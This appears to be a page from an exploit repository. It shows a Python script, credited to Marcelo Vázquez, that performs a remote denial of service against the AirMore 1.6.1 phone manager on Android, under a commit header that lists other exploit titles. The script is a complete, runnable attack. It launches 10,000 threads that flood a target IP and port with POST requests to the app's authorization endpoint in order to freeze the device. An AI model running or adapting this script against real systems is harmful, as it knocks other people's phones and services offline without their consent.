f3f1427938
9 changes to exploits/shellcodes ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (DoS) ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (PoC) AirMore 1.6.1 - Denial of Service (PoC) Free IP Switcher 3.1 - 'Computer Name' Denial of Service (PoC) Navicat for Oracle 12.1.15 - _Password_ Denial of Service (PoC) VSCO 1.1.1.0 - Denial of Service (PoC) Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference Webiness Inventory 2.3 - SQL Injection Webiness Inventory 2.3 - 'order' SQL Injection MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery Jinja2 2.10 - 'from_string' Server Side Template Injection qdPM 9.1 - 'search_by_extrafields[]' SQL Injection UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload
49 lines
No EOL
1.7 KiB
Python
Executable file
49 lines
No EOL
1.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
#coding: utf-8
|
|
|
|
# ************************************************************************
|
|
# * Author: Marcelo Vázquez (aka s4vitar) *
|
|
# * AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze *
|
|
# ************************************************************************
|
|
|
|
# Exploit Title: AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze
|
|
# Date: 2019-02-14
|
|
# Exploit Author: Marcelo Vázquez (aka s4vitar)
|
|
# Vendor Homepage: https://airmore.com/
|
|
# Software Link: https://airmore.com/download
|
|
# Version: <= AirMore 1.6.1
|
|
# Tested on: Android
|
|
|
|
import sys, requests, threading, signal
|
|
|
|
def handler(signum, frame):
|
|
print '\nFinishing program...\n'
|
|
sys.exit(0)
|
|
|
|
if len(sys.argv) != 3:
|
|
print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
|
|
print "Example: python AirMore_dos.py 192.168.1.125 2333\n"
|
|
sys.exit(0)
|
|
|
|
def startAttack(url):
|
|
url_destination = url + '/?Key=PhoneRequestAuthorization'
|
|
headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}
|
|
|
|
r = requests.post(url_destination, headers=headers)
|
|
|
|
if __name__ == '__main__':
|
|
|
|
signal.signal(signal.SIGINT, handler)
|
|
url = 'http://' + sys.argv[1] + ':' + sys.argv[2]
|
|
|
|
threads = []
|
|
|
|
for i in xrange(0, 10000):
|
|
t = threading.Thread(target=startAttack, args=(url,))
|
|
threads.append(t)
|
|
|
|
for x in threads:
|
|
x.start()
|
|
|
|
for x in threads:
|
|
x.join() |